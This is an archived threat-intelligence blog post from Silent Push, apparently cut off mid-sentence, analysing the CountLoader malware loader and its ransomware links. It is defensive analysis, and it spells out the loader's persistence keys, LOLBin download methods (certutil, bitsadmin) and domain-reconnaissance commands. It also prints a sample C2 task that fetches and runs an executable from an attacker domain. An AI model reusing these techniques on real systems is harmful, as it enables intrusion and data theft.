{
	"id": "15400852-e9c3-4a31-b8c8-362b483e09ff",
	"created_at": "2026-04-06T00:09:49.089762Z",
	"updated_at": "2026-04-10T03:21:32.367225Z",
	"deleted_at": null,
	"sha1_hash": "6752b27387de536e63aa4a337565d92be1dcd31a",
	"title": "CountLoader: Silent Push Discovers New Malware Loader Being Served in 3 Different Versions",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4961709,
	"plain_text": "CountLoader: Silent Push Discovers New Malware Loader Being Served\r\nin 3 Different Versions\r\nBy Peggy Kelly\r\nPublished: 2025-09-18 · Archived: 2026-04-05 20:55:59 UTC\r\nKey Findings\r\nSilent Push has discovered a new malware loader that is strongly associated with Russian ransomware gangs that we\r\nare naming: “CountLoader.”\r\nOur team has observed this evolving threat being served as three separate versions: .NET, PowerShell, and JScript.\r\nBased on our observations and technical evidence, we believe CountLoader is being used either as part of an Initial\r\nAccess Broker’s (IAB’s) toolset or by a ransomware affiliate with ties to the LockBit, BlackBasta,\r\nand Qilin ransomware groups.\r\nCountLoader was also recently used in a PDF-based phishing lure targeting individuals in Ukraine, in a campaign\r\nthat impersonated the Ukrainian police.\r\nExecutive Summary\r\nSilent Push Threat Analysts are tracking the spread of a new malware loader we have named “CountLoader,” that is strongly\r\nassociated with Russian ransomware gangs. The evolving threat is served in three versions: .NET, PowerShell, and JScript,\r\nand was recently used in a phishing lure targeting individuals in Ukraine as part of a campaign impersonating Ukrainian\r\npolice.\r\nOur analysis has observed CountLoader dropping several malware agents, like CobaltStrike and AdaptixC2. Technical\r\nevidence obtained from within these samples allowed our team to make the connection between the agents dropped by\r\nCountLoader and the malware agents observed in several ransomware attacks. Based on this observation, we assess with\r\nmedium-high confidence that CountLoader is being used either as part of the toolset of an IAB or by a ransomware affiliate\r\nwith ties to the LockBit, BlackBasta, and Qilin ransomware groups.\r\nKaspersky researchers identified a portion of CountLoader’s operations in June 2025. However, they were only able to\r\nidentify the PowerShell version, which at the time utilized a “DeepSeek” AI phishing lure to trick users into downloading\r\nand executing it. Our team identified indications of several additional unique campaigns utilizing various other lures and\r\ntargeting methods, including a .NET version of CountLoader, which was named twitter1[.]exe.\r\nOrganizations frequently targeted by Russian cybercrime, ransomware groups, or Advanced Persistent Threat (APT) groups\r\nare encouraged to integrate our Indicators Of Future Attack™ (IOFA™) feeds for CountLoader into their security stack to\r\ndefend against this continuously evolving threat.\r\nTable of contents\r\nKey Findings\r\nExecutive Summary\r\nSign Up for a Free Silent Push Community Edition Account\r\nBackground\r\nInitial Observations\r\nTesting for Fingerprints\r\nTargeting Ukrainian Citizens with a Fake Ukrainian Police PDF Lure\r\nCountLoader Malware Variants\r\nCountLoader JScript / .hta file Version\r\nUncovering CountLoader’s Functionality\r\nAnalysis of CountLoader Malware Loader’s .NET Version\r\nCountLoader PowerShell Version\r\nCountLoader Payload Analysis\r\nThe Ransomware/IAB Connection\r\nDetection of a Crucial Element\r\nFurther Analysis\r\nAdditional External Research\r\nMitigation\r\nSample CountLoader Indicators Of Future Attack™ (IOFA™) List\r\nContinuing to Track CountLoader Malware Loader\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 1 of 18\n\nRegister now for our free Community Edition to use all the tools and queries highlighted in this blog.\r\nBackground\r\nWhile monitoring for new threats, our team recently discovered a malware sample with unique behavior and varied\r\nattribution descriptions in VirusTotal. After a thorough investigation, we were able to confirm the sample was a new\r\nmalware loader we assess to be associated with multiple ransomware groups, primarily Russian-speaking cybercriminals.\r\nThis campaign was observed to be targeting citizens in Ukraine with a Ukrainian police phishing lure, strengthening\r\nsuspicions of its ties to Russian threat actors.\r\nAfter an initial open source review, our team found several public reports that mentioned the domains app-updater[.]app,\r\napp-updater1[.]app, and app-updater2[.]app. One of the domains, app-updater1[.]app, was suspected of downloading a\r\nmalicious implant by Kaspersky, as shared in their Securelist report on June 11, 2025. No binary was downloaded, however,\r\nand their team was unable to investigate further at the time.\r\nSecurelist report mentioning the domain “app-updater1[.]app”\r\nCyfirma also reported a similar campaign, though again, there were no significant details on what was happening with the\r\ncommand and control (C2) domain: app-updater[.]app.\r\nTaking this into account, our team discovered that what was being observed here was actually part of the loader’s primary\r\ncode loop. CountLoader attempts a connection to many different C2s, retrying up to a million times, and we believe this\r\npartial activity is what both Cyfirma and Kaspersky were observing in their respective reports.\r\nDigging deeper, our team then observed several different versions of the malware, written in .NET, PowerShell, and JScript,\r\nrespectively. Only the PowerShell version of the three has been referenced in public reporting so far (via Kaspersky).\r\nThe main version we have observed is the JScript-based version, which is wrapped in an HTML application. It is the most\r\nthorough implementation, offering six different methods for file downloading, three different methods for executing various\r\ndownloadable malware binaries, and a predefined function to identify a victim’s device based on Windows domain\r\ninformation.\r\nInitial Observations\r\nWe began our investigation by following the discovery of a malware sample in VirusTotal, which contacted several domains\r\nwith an apparently unique communication pattern of shared use of the “/api/getFile?fn=” path across the domains.\r\nAs C2 communications in malware are often unique, our team decided to investigate this pattern and see what more we\r\ncould find.\r\nVirusTotal snapshot of the shared path\r\nTesting for Fingerprints\r\nTaking two of the known domains, app-updater[.]app and app-updater1[.]app, and dropping them into our Web Scanner,\r\nour team was able to use the “Compare” feature to identify shared attributes swiftly. This is a common technique in our\r\ninvestigations, as it allows for the easy creation and testing of more accurate fingerprints.\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 2 of 18\n\nAfter some validation testing, our team put together a solid fingerprint combining our HHV, JARM, Response, and\r\nssl.CHV fields into a single query that covers a large number of related domains for this threat. Descriptions of each field\r\nare noted below, though some details are omitted for operational security reasons (which are also available to our enterprise\r\ncustomers):\r\nThe HHV field is a Silent Push proprietary hash value based on the header keys.\r\nThe JARM field fingerprint is a hash value derived from various characteristics of the TLS handshake.\r\nThe Response field describes the response code returned by a scan request.\r\nThe ssl.CHV field is another Silent Push proprietary hash based on SSL data from SSL certificates.\r\nThese fields enabled us to detect additional domains used by CountLoader and, as of this writing (August 2025), we have\r\ndiscovered 20+ unique domains. Enterprise customers have access to a comprehensive report that contains our full,\r\nunredacted analysis on this threat.\r\nAs referenced before, during an open source review, our team found two additional sources where some of the domains had\r\nbeen referenced:\r\nThreat researcher Squiblydoo made a meaningful post on his X/Twitter account, writing, “The malware sets a script\r\nto download a payload from gameupdate-endpoint[.]com and will steal data from your computer.”\r\nIn the URLhaus malware database, urlhaus[.]abuse[.]ch, our team found several domains labeled “delivering Vidar\r\nInfostealer and Emmenhtal malware,” according to the initial reporters.\r\nScreenshot of the URLhaus results\r\nGiven the variety of malware types reported with these C2 domains, our team suspected the domains dropping the malware\r\nwere associated with this new malware loader, which we were later able to confirm.\r\nTargeting Ukrainian Citizens with a Fake Ukrainian Police PDF Lure\r\nDuring our investigation, an interesting .zip file named “vymoha_na_yavku” was found to contact ms-team-ping[.]com. We\r\nconfirmed this was related to our newly discovered cluster of malicious CountLoader domains.\r\nChecking a .zip file on VirusTotal confirmed its relation to the malicious CountLoader domains cluster\r\nWe then analyzed a sample. This analysis revealed an ongoing PDF-based lure campaign that remains active at the time of\r\nwriting this blog (August 2025).\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 3 of 18\n\nScreenshot of the PDF lure impersonating the Ukrainian police\r\nWhen translating the PDF into English, the following message from the (supposed) “National Police of Ukraine” appears:\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 4 of 18\n\nScreenshot of translated PDF (purportedly) originating from the National Police of Ukraine\r\nCountLoader Malware Variants\r\nAs previously referenced, our team observed three different versions of the CountLoader malware. We will now examine\r\neach of them in turn, beginning with the JScript version, which we have identified as the main CountLoader implant,\r\nfollowed by the .NET binary and PowerShell binary versions.\r\nCountLoader JScript / .hta file Version\r\nThe JScript-based version has around 850 lines of code. It outshines both the .NET version and the PowerShell version in\r\nterms of both length and functionality. In this form, CountLoader is delivered to its victims in the form of an .hta file, which\r\nis obfuscated using the free and open-source obfuscator[.]io tool referenced earlier.\r\nThe .hta file extension is the default file extension for an HTML Application file, a proprietary executable format by\r\nMicrosoft. Threat actors regularly abuse this file type to deliver executable code to devices that have no user interface.\r\nTypically, .hta files are executed using the proprietary Microsoft Windows binary “mshta.exe.”\r\nAfter deobfuscating the code and renaming a few variables for legibility, we uncovered the functionality (viewable in the\r\nscreenshot below), which we will now cover in detail:\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 5 of 18\n\nScreenshot of the code we observed for CountLoader’s JScript version\r\nUncovering CountLoader’s Functionality\r\nUpon execution, CountLoader first checks to see if it has already performed an initialization on the victim’s system. This is\r\ndone by determining if the .hta file is executed from a URL that contains “/start” in the path.\r\nIf that is not the case, some initialization commands are run at a later point in the execution flow.\r\nAfter initial checks, the execution flow continues by collecting system information:\r\n1. Calculate the current date and time. Add 10 minutes.\r\n2. Convert to ISO 8601 formatted datetime string in the format: YYYY-MM-DDTHH:MM:00.\r\n3. Define a variable and assign the value “env”. It is assumed that this variable is used to identify different campaigns\r\nsince it is used at a later point as part of the C2 connection process.\r\n4. Generate a Victim ID by ingesting different Hardware ID values via the process:\r\na. Starts with the username\r\nb. Adds the first non-null processor ID it finds.\r\nc. Adds the first non-null system UUID it finds.\r\nd. Adds the first non-null disk model it finds.\r\ne. Adds a space character.\r\nf. Adds the first non-null disk serial number it finds.\r\n5. Get device name and username.\r\n6. Get device antivirus software.\r\n7. Get the exact Windows version and processor architecture.\r\n8. Generate a “Global Unique Identifier” from the Victim ID.\r\nAt the end of this process, CountLoader starts its main loop. The loop runs once and then continues to run as long as the\r\n“start” value is defined in the path of the HTA execution. This is the C2 contact attempt loop referenced previously, seen\r\nhere in the following code:\r\nScreenshot of the loop code\r\nThis code does the following:\r\nFor each number between 1 and 10, generate a URL by:\r\n1. Taking “hxxps://ms-team-ping”\r\n2. Adding the number to the string (for example: hxxps://ms-team-ping10)\r\n3. Adding the .com tld (for instance: hxxps://ms-team-ping10.com)\r\n4. Then, checking to see if there is a legitimate response from the C2 server by using the function\r\n“CheckStatusC2ReturnDecryptedResponse”\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 6 of 18\n\nThe “CheckStatusC2ReturnDecryptedResponse” then creates an HTTP Post request to the C2 server with “CheckStatus” in\r\nthe POST data.\r\nIf the C2 is up, it will respond with an XOR-encrypted and Base64-encoded string of “success”. The XOR encryption works\r\nas follows: The key consists of six characters from the string. The remaining string is the encrypted data. To decrypt, we take\r\nthe six-character string and decrypt the remaining part. This algorithm is implemented in CountLoader as both an encryption\r\nand a decryption variant. The results of both are in Base64 encoding, presumably to maintain consistency.\r\nAll C2 comms are encrypted using this algorithm.\r\nIf CountLoader receives the “success” string from a C2, it then continues its main operation; otherwise, it jumps to\r\nattempting to contact the next C2 server.\r\nThe next step, connecting to the C2 server, is seen here:\r\nCountLoader attempts to connect to a C2 server\r\nAs seen above, CountLoader connects using the “/connect” endpoint, initially sending along some victim-specific\r\nfingerprint data. This request expects an encrypted response from the C2, where the response will be a long string and is\r\nthen used as the C2’s password for the remainder of the communication. C2 authentication uses standard HTTP\r\nauthentication with a Bearer header.\r\nA sample encrypted response is:\r\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiM0YwRDA\r\nwREU0MUY0Q0ZGNURGNTNEQkY5M0IxMEYxNzciLCJleHAiOjE3NTIwNzc5MzcsIml\r\nzcyI6IlNlcnZlciIsImF1ZCI6Ik15U2VydmVyQXVkaXQifQ.eU6qT6lRrS5iBCJP\r\neweOoH3fxiGLKjJEy5OTWZdYu5s\r\nIf the proper response is received, CountLoader creates a scheduled task to maintain persistence. This scheduled task runs\r\nthe “mshta” executable pointing to “C2Server/env_Var.\u003crandomstringlength9)” ten minutes after the initial execution.\r\nThe name of the scheduled task is:\r\n“GoogleUpdaterTaskSystem135.0.7023.0″ + vFlawedGUIDGen\r\nThe task name attempts to impersonate Google’s update tasks for the Chrome browser. CountLoader then checks if the\r\nscheduled task was successfully created. If not, it then checks to see if the initialization functionality has already been run.\r\nIf the initialization has not been run, the malware then executes the following code:\r\nNext step of the malware’s code\r\nThis first function call changes the registry value for “MaxScriptStatements” under:\r\n\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Styles\\\\\";\r\nto “10000000”.\r\nThis is likely an attempt to bypass warning messages thrown by MSHTA when long scripts are executed. Information related\r\nto these can be found on the SuperUser.com forums and on the msfn.org forums.\r\nThe malware then continues its execution by setting the Windows Run Key via:\r\n“HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\OneDriver”\r\nThis process runs mshta.exe, reaching out to the C2 server under:\r\nMainC2ServerProtocolAndDomain + “/api/getFile/” + vLSEnv + “.hta/start\r\nThe process also executes the same command via WScript.Shell.\r\nNote that these functions have the “/start” parameter explicitly added. At this point in CountLoader’s execution, we now\r\nhave registry persistence consistently executing the latest script from the C2 server, after which it won’t run this part of the\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 7 of 18\n\ncode again.\r\nFrom here, we get to the actual “loader” part of the code:\r\nThe loader requests tasks from the C2 via a specific function:\r\nIt is important to note that a unique function is used here to set the previously received string from the connection phase to\r\nbe the Authorization Bearer Header for this request.\r\nWinHTTP_Webrequest_5_1.SetRequestHeader(\"Authorization\", \"Bearer \" + C2EndpointPW);\r\nThis function serves as an authentication measure, preventing unauthorized third parties from issuing successful requests to\r\nthe C2 server.\r\nThe POST request data consists of “getUpdates”; i.e., the response text comes in a JSON format, containing an unknown\r\nnumber of tasks.\r\nEach task consists of an ID, a URL (which, depending on the task, also contains comma-separated arguments needed for\r\nexecution, such as the DLL entry point for DLL tasks), and a Task Type.\r\nHere is an example we received for a domain-joined system:\r\n[{\"id\":123,\"url\":\"\",\"taskType\":5},{\"id\":126,\"url\":\"hxxps://ms-team-connect2[.]com/api/getFile/file2.exe\",\"taskType\":1}]\r\nThe available Task Types are:\r\nTaskType1: Download and Execute Task via Win32_Process.Create (WMI)\r\nTaskType3: Download and Execute using RunDLL32 (DLL execution)\r\nTaskType4: Delete Scheduled Task (stop execution)\r\nTaskType5: Query the local Windows domain and share system info with the C2. Commands are:\r\nnet group /domain\r\nsysteminfo | find \\”Domain”}\r\nnet group \\”Domain admins\\” /DOMAIN\r\nnet group \\”Domain computers\\” /DOMAIN\r\nTaskType6: Download and Execute using msiexec (for MSI files)\r\nNote: We can see “TaskType2” is missing. This may indicate that a previous CountLoader version containing it had it\r\nremoved later.\r\nAll tasks that download external software to execute make use of a function that attempts the download via up to six\r\ndifferent methods if the previous attempt did not succeed.\r\nThese methods are:\r\n1. Curl\r\n2. PowerShell Download command generator with XOR encryption and Base64 encoding\r\n3. MSXML2.XMLHTTP (Internet Explorer engine)\r\n4. WinHTTP.WinHttpRequest.5.1 (Windows HTTP API)\r\n5. Bitsadmin\r\n6. Certutil\r\nBy using LOLBins like “certutil” and “bitsadmin,” and by implementing an “on the fly” command encryption PowerShell\r\ngenerator, CountLoader’s developers demonstrate here an advanced understanding of the Windows operating system and\r\nmalware development.\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 8 of 18\n\nAdditionally, our team observed CountLoader makes almost exclusive use of its victims’ “Music” folder to stage additional\r\nmalware binary downloads. This folder is commonly observed as a staging folder, as it is more accessible for many users\r\ncompared to other traditional staging folders like the “Temp” data folder or the “AppData” folder. This observation plays a\r\nrole in our attribution assessment later on.\r\nEvery successfully downloaded and executed task is shared to the C2 via this function:\r\nThe task ID from previous steps is then used as part of the HTTP POST data (approveUpdate?id=\u003cid of task\u003e) to confirm\r\nsuccessful execution. Notably, the initial C2 password is used here again for authentication.\r\nAfter executing all tasks from the C2 server, the main loop starts again, so long as the “/start” variable is in the execution\r\npath.\r\nFinally, on encountering errors of any sort, the script deletes itself.\r\nAnalysis of CountLoader Malware Loader’s .NET Version\r\nWhile investigating the C2 domain ms-team-ping 2[.]com, our team discovered the endpoint that receives binaries from\r\ntasks was configured as:\r\n/api/getFile?fn=\u003cfilename\u003e\r\nFollowing this pattern, we were able to extract a .NET version of CountLoader, among other payloads. This .NET binary,\r\nnamed twitter1[.]exe, has a SHA-256 hash of “17bfe335b2f9037849fda87ae0a7909921a96d8abfafa8111dc5da63cbf11eda”.\r\nLooking deeper, the binary presented the following metadata information, among others:\r\nCore Assembly Info:\r\nAssemblyTitle: “HyperDrive OS” – the name of the application\r\nAssemblyDescription: “High-performance cloud-based software”\r\nAssemblyCompany: “OmniTech Industries” – the company that created it\r\nAssemblyProduct: “HyperDrive OS”\r\nAssemblyCopyright: “© 2024 FutureSoft. Unauthorized reproduction prohibited.”\r\nAssemblyTrademark: “CodeFusion™”\r\nThe “Assembly” metadata here refers to two different companies, “OmniTech Industries” and “FutureSof.” We observed no\r\npublic correlation between the two, and it appears these could simply be details added by the threat actors to obfuscate their\r\nwork.\r\nFortunately for our team, the packer used for CountLoader here appears to have been used solely for binding additional\r\nlibraries to the binary related to handling compressed archive files. As such, the code itself is relatively easy to read, the\r\nmain function of which can be seen below:\r\nScreenshot of the primary function\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 9 of 18\n\nIn the .NET version of CountLoader, some crossover artifacts stand out from the JScript version.\r\nFirst, the C2 connection appears to be established through an API Client that utilizes functions named: Connect(),\r\nGetUpdates(), and SubmitUpdate(update.ID). This aligns perfectly with the three functions observed in the JScript-based\r\nCountLoader version.\r\nAdditionally, there is an iterative process to read and execute all tasks received by the C2; and a web request to the C2\r\nacknowledges every task. Once again, this aligns with the JScript version.\r\nA notable difference between them, however, is that the observed .NET version of CountLoader only supports two types of\r\ncommands, UpdateType.Zip or UpdateType.Exe. This indicates a reduced functionality set compared to the previously\r\nanalyzed JScript version.\r\nInterestingly, there is also a kill switch function at the very beginning of the .NET version, which, after cleanup and some\r\nadditional math, looks like the following:\r\nOn execution, the binary calculates a hardcoded timestamp of May 12, 2025. It then checks if that date has passed by\r\ncomparing the device date against this hardcoded timestamp. If the date has passed, then the code will attempt to divide 1 by\r\n0, crashing the program. It will do this silently as well, as the loop catches all related errors and suppresses output to the\r\nuser, effectively stopping the binary from executing.\r\nAlternative versions of the kill switch check are executed several times throughout the sample.\r\nWe also see a custom string obfuscation function:\r\nar.a( obfuscated_string, int)\r\nReversing the string obfuscation allowed us to understand the sample better. The source code of the Augmented Reality\r\n(AR) class, for example, can be seen below:\r\nThe source code of the AR class\r\nThe first function here, called for string deobfuscation, is actually another kill switch.\r\nWe can see that it creates a new DateTime Object with a predefined date. However, this date is intentionally obfuscated via a\r\nfew different calculations. Cleaning that up, we get the following:\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 10 of 18\n\nAll told, this function compares the hardcoded date: May 12, 2025, at 11:00:16 PM against the current date and, again,\r\ninitiates a crash by dividing by 0 if the required parameter is not met.\r\nHowever, just prior, the code continues deobfuscating the string:\r\nreturn ar.b.b.c(a, b)\r\nLooking at the remaining code in the AR class, we see that this execution chain first loads a resource from the binary itself.\r\nThis resource has a random name, which comes in obfuscated form via the b() function. In the case of our sample, this\r\nencrypted resource’s name is “+;\\u0016\\b1“.\r\nThe b() function decrypts the name of the resource using more math, which we can see the various steps of below:\r\nThe “decrypted resource name” of “vfKUl”, shown above, can be found in the binary in a specific byte array:\r\n[0x90, 0xAE, 0x48, 0x60, 0xD8, 0xFD, 0x70, 0xDF, 0xF1, 0x6E, 0x8C, 0x04, 0x6B, 0xCB, 0x39, 0x18]\r\nThese bytes act as a key table for the deobfuscation of the string. As seen initially, each string is also passed alongside an\r\ninteger. The lower 4 bits of that integer are used to determine which of the 16 keys from the array to choose. Then a logical\r\n“OR” operation is used to generate the XOR key, a logical representation of which is shown here:\r\n\u003cressourcekey\u003e | integer = \u003ckey\u003e\r\nThis key is then XORed with every character of the obfuscated string.\r\nBelow, our team demonstrates this with an example string from the binary:\r\nSetup:\r\nInput string: '\\ue8f0\\ue8be\\ue8af\\ue8b6\\ue8f0\\ue8be\\ue8af\\ue8af\\ue8ad\\ue8b0\\ue8a9\r\n\\ue8ba\\ue88a\\ue8af\\ue8bb\\ue8be\\ue8ab\\ue8ba\\ue8e0\\ue8b6\\ue8bb\\ue8e2'\r\nKey integer: 59479\r\nString converted to char array, length = 22\r\nKey calculation:\r\n59479 \u0026 0xF = 7 (takes lower 4 bits)\r\nm_c[7] = 0xDF (byte from resource at index 7)\r\n0xDF | 59479 = 0xE8DF (59615) – this becomes the XOR key\r\nDecryption loop (processes characters in reverse order):\r\nFor each character: char = char ^ 0xE8DF\r\nExample: ‘\\ue8f0’ ^ 0xE8DF = ‘/’\r\nEach encrypted character gets XORed with the same key 0xE8DF\r\nResult:\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 11 of 18\n\nReturns new string: “/api/approveUpdate?id=”\r\nLength remains 22 characters\r\nTo facilitate the string’s deobfuscation, our team wrote a quick Python script, shown below:\r\ndef decrypt_ar_string(encrypted_string, key_index): \"\"\" Decrypt a string using the ar.a() method logic Args:\r\nencrypted_string: The encrypted string to decrypt key_index: The integer key index used in encryption Returns:\r\nDecrypted string \"\"\" # The key table from the vfKUl resource key_table = [0x90, 0xAE, 0x48, 0x60, 0xD8, 0xFD,\r\n0x70, 0xDF, 0xF1, 0x6E, 0x8C, 0x04, 0x6B, 0xCB, 0x39, 0x18] # Calculate the XOR key table_byte =\r\nkey_table[key_index \u0026 0xF] xor_key = table_byte | key_index # Decrypt the string (working backwards like the\r\noriginal) chars = list(encrypted_string) for i in range(len(chars) - 1, -1, -1): chars[i] = chr(ord(chars[i]) ^\r\nxor_key) return ''.join(chars) # =============================================================================\r\n# ADD YOUR ENCRYPTED STRINGS HERE # Format: (encrypted_string, key_index) #\r\n============================================================================= encrypted_strings = [ # Example -\r\nreplace with your actual encrypted strings\r\n(\"\\ue8f0\\ue8be\\ue8af\\ue8b6\\ue8f0\\ue8be\\ue8af\\ue8af\\ue8ad\\ue8b0\\ue8a9\\ue8ba\\ue88a\r\n\\ue8af\\ue8bb\\ue8be\\ue8ab\\ue8ba\\ue8e0\\ue8b6\\ue8bb\\ue8e2\", 59479), # Add more encrypted strings here like: ] #\r\n============================================================================= # DECRYPTION RESULTS #\r\n============================================================================= print(\"=\" * 80) print(\"DECRYPTION\r\nRESULTS\") print(\"=\" * 80) for i, (encrypted, key_idx) in enumerate(encrypted_strings): print(f\"\\n[{i+1}]\r\nEncrypted: {repr(encrypted)}\") print(f\" Key index: {key_idx}\") print(f\" Key index \u0026 0xF: {key_idx \u0026 0xF}\") #\r\nCalculate XOR key details table_byte = [0x90, 0xAE, 0x48, 0x60, 0xD8, 0xFD, 0x70, 0xDF, 0xF1, 0x6E, 0x8C, 0x04,\r\n0x6B, 0xCB, 0x39, 0x18][key_idx \u0026 0xF] xor_key = table_byte | key_idx print(f\" Table byte: 0x{table_byte:02X}\")\r\nprint(f\" XOR key: 0x{xor_key:04X} ({xor_key})\") # Decrypt and show result decrypted =\r\ndecrypt_ar_string(encrypted, key_idx) print(f\" DECRYPTED: '{decrypted}'\") # Show length info print(f\" Length:\r\n{len(encrypted)} chars -\u003e {len(decrypted)} chars\") print(\"\\n\" + \"=\" * 80) print(\"SUMMARY - DECRYPTED STRINGS\r\nONLY\") print(\"=\" * 80)\r\nUsing this script, we can now deobfuscate all strings in the binary, which allows us to show the fully deobfuscated main\r\nfunction:\r\nScreenshot of CountLoader’s .NET version’s fully deobfuscated main function\r\nAn interesting observation that can be made here is the hardcoded User-Agent header, which indicates a Yandex browser on\r\nWindows 10. Yandex is a Russian company sometimes referred to as “Russia’s Google.” This appears to be an additional\r\nhint at an Eastern European or Russian developer.\r\nAs with the JScript loader, if the binary crashes or completes its process, it will delete itself from the disk and kill its own\r\nprocess, effectively removing artifacts of its infection:\r\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0\r\nYaBrowser/24.12.0.0 Safari/537.36\r\nCountLoader PowerShell Version\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 12 of 18\n\nThe PowerShell version on CountLoader that we observed is even more straightforward than the .NET binary. In fact, the\r\nonly sample we observed consisted of a mere 20 lines of code.\r\nSince this version of CountLoader has already been analyzed in the Kaspersky SecureList article, we will only briefly\r\nhighlight the similarities with the JScript and .NET variants.\r\nScreenshot from the SecureList article\r\nAs seen with the previous samples, here CountLoader uses a loop to generate C2 domains. It also stores the received\r\nmalware binary in the Music folder. Additionally, it uses a known CountLoader C2 domain, app-updater[.]app.\r\nIt even features two different ways to execute received code: by either storing it on disk and running it via “Start-Process,”\r\nor by using in-memory execution via reflective loading.\r\nCountLoader Payload Analysis\r\nTo gain a deeper understanding of the malware delivered by CountLoader, we developed an in-house emulator to request\r\nTasks from its C2 servers.\r\nOver the span of two weeks, our team received the following samples directly from the attacker’s own infrastructure.\r\nFilename Sha256 Malware C2 Server\r\nfile2[.]exe 233C777937F3B0F83B1F6AE47403E03D1C3F72F650B4C6AE3FACEC7F2E5DA4B5\r\nCobalt\r\nStrike\r\nhxxp[:]//64[.]137[.\r\nfile[.]exe 5e9647e36d2fb46f359036381865efb0e432ff252fae138682cb2da060672c84\r\nCobalt\r\nStrike\r\nhxxp[:]//64[.]137[.\r\nfile_x64[.]exe 8A286A315DBA36B13E61B6A3458A4BB3ACB7818F1E957E0892A35ABB37FC9FCE\r\nCobalt\r\nStrike\r\nShellcode\r\nLoader\r\n64[.]137[.]9[.]118[\r\n\u003cin memory\r\nimplant\u003e\r\n\u003cinjected into previous sample\u003e\r\nCobalt\r\nStrike\r\nhxxp[:]//64[.]137[.\r\nrun_v2[.]exe EA410874356E7D27867A4E423F1A818AAEA495DFBF068243745C27B80DA84FAE\r\nAdaptix\r\nC2\r\nhxxps[:]//64[.]137[\r\nrun_v4[.]exe B86ADCF7B5B8A6E01C48D2C84722919DF2D1C613410C32EB43FC8C10B8158C45\r\nAdaptix\r\nC2\r\nhxxps[:]//64[.]137[\r\nAll samples mentioned above were only received by Windows domain-joined systems. All domain-joined systems also\r\nreceived “Task Type 5” for the JScript CountLoader version, which asked for additional Windows domain information.\r\nThis shows the threat actor’s higher interest in domain-joined systems, which is understandable as they typically indicate a\r\ncorporate environment.\r\nAlso noteworthy, though for a non-domain-joined system this time, our team’s emulator received a packed PureHVNC\r\npayload:\r\nFilename Sha256\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 13 of 18\n\ncvcshost[.]exexexpierience[.]exeXojwecqy[.]exe D34CA886266B7CE5F75F4CAAA6E48F61E194BB55605C2BC4032BA8AF5580B2E7\r\nThe PureHVNC binary was downloaded from the following link:\r\nhxxps[:]//chifacanton[.]phuyufact[.]com/images/sot/e/Xojwecqy[.]exe\r\nOnce dropped, it is renamed to both cvcshost[.]exe and xespierience[.]exe during the unpacking and execution steps.\r\nAnother binary staged on this server is:\r\nhxxps[:]//chifacanton[.]phuyufact[.]com/images/sot/m/git[.]msi\r\nThe SHA256 of which is:\r\n4CB6EC9522D8C1315CD3A2985D2204C634EDC579B08A1B132254BD7DD5DF72D8\r\nWhich, upon further analysis, turned out to be Lumma Stealer with the following C2 server:\r\ngizqt[.]xyz\r\nThe Ransomware/IAB Connection\r\nDuring our Analysis of the various Cobalt Strike samples related to this campaign, our team successfully extracted an\r\nassociated C2 configuration from within the malware’s binary.\r\nThe fields captured from it included a “watermark” field, along with an “http_hosts” field, which contained an IP address,\r\nas explained further below:\r\nThe fields captured included the “watermark” and “http_hosts” fields\r\nDetection of a Crucial Element\r\nAmong the various configuration options used by this threat actor in their deployment of Cobalt Strike, one crucial element\r\nis the Cobalt Strike watermark. Cobalt Strike watermarks are unique numerical values generated from the Cobalt Strike\r\nlicense file. This value is added to each full backdoor beacon payload generated by a particular Cobalt Strike C2 instance.\r\nThere are only a few cases where this watermark cannot be tied to a unique attacker. This can be the case in cracked versions\r\nof Cobalt Strike or when an attacker shares their Cobalt Strike license file with another attacker.\r\nIn most cases, however, the Cobalt Strike watermark is a unique enough identifier that it enables researchers to cluster\r\ndifferent campaigns together and tie them back to a single cluster.\r\nOur team observed the following watermark tied to the Cobalt Strike samples spread via CountLoader: 1473793097. We\r\nuncovered two different Cobalt Strike samples containing this watermark, each configured with its own C2 server.\r\nSample 1 was found on August 29, 2024, and we made use of the domain fronting technique via CloudFront, with the\r\nconfigured domain being:\r\nd31tef3bsujkft[.]cloudfront[.]net/safebrowsing/rd/CltOb12nLW1\r\nIbHehcmUtd2hUdmFzEBAY7-0KIOkUDC7h2\r\nThe second sample we found was named svchost[.]exe and is available on VirusTotal.\r\nIt was first observed on June 20, 2025, and configured with the C2 domain:\r\nquasuar[.]com\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 14 of 18\n\nThe second sample was configured with the C2 domain\r\nThe only observed IP associated with the quasuar[.]com domain is 45.61.150[.]76, which we enriched in our platform to tie\r\nback to several hostnames.\r\nLooking further into the domain, quasuar[.]com tied to that IP, our team found an X/Twitter Post by a security researcher,\r\nGermán Fernández, who referenced both the domain and the very same Cobalt Strike watermark we were tracking:\r\n“1473793097.”\r\nIn this post, Fernández presents evidence that ties the watermark to yet another Cobalt Strike watermark: “1357776117,”\r\nusing the following screenshot:\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 15 of 18\n\nScreenshot shared by security researcher Fernández\r\nOur team then observed a Cobalt Strike C2 profile using both the watermark and the quasuar[.]com C2 domain and an\r\nOVH server that hosted the domain misctoolsupdate[.]com. The IP in question, 180.131.145[.]73, is also noted in\r\nFernández’s X/Twitter post.\r\nFernández further states that the watermark 1473793097 observed in the sample is linked to a Qilin ransomware incident,\r\nwhile the watermark 1357776117 is associated with both BlackBasta and Qilin.\r\nTo corroborate this information, we worked to find additional links between the C2 server IP address 